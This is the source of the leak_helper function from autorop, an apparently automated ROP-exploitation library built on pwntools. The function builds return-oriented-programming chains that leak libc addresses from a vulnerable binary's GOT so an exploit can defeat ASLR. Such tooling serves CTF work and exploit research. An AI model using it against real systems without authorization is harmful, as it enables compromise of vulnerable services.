Source code for autorop.arutil.leak_helper

from autorop import PwnState, arutil, constants
from pwn import ROP, log
from typing import Iterable, Callable


[docs]def leak_helper( state: PwnState, leaker: Callable[[ROP, int], ROP], symbols: Iterable[str], offset: int = 0, ) -> PwnState: """Leak libc addresses using a leaking function. This function leaks the libc addresses of ``symbols`` using rop chain built by ``leaker``, placing them in ``state.leaks``. ``leaker`` msut separate leaks using newlines. Arguments: state: The current ``PwnState`` with the following set - ``target_factory``: Producer of target to exploit. - ``_elf``: pwntools ``ELF`` of ``state.binary_name``. - ``overwriter``: Function which writes rop chain to the "right place". - ``vuln_function``: Name of vulnerable function in binary, which we can return to repeatedly. leaker: function which reads arbitrary memory, newline terminated. symbols: what libc symbols we need to leak. offset: offset, in bytes, from the start of the GOT address of each symbol at which to begin leak, treating previous bytes as zeroes (this is helpful if the leaker function terminates on a zero byte) Returns: Mutated ``PwnState``, with the following updated - ``target``: The instance of target from which we got a successful leak. Hopefully it can still be interacted with. - ``leaks``: Updated with ``"symbol": address`` pairs for each function address of libc that was leaked. """ assert state._elf is not None state.target = state.target_factory() rop = ROP(state._elf) for symbol in symbols: rop = leaker(rop, state._elf.got[symbol] + offset) # return back so we can execute more chains later arutil.align_call(rop, state.vuln_function, []) log.info(rop.dump()) state.target.clean(constants.CLEAN_TIME) state.overwriter(state.target, rop.chain()) for symbol in symbols: line = state.target.readline() log.debug(line.hex()) # remove last character which must be newline state.leaks[symbol] = arutil.addressify(line[:-1]) << (8 * offset) log.info(f"leaked {symbol} @ " + hex(state.leaks[symbol])) # TODO: make this a bit less hacky maybe # try leaking next bytes if we happen to stumble upon a zero byte if state.leaks[symbol] == 0x0: # unluckily the address has a zero at start leak_helper(state, leaker, [symbol], offset + 1) return state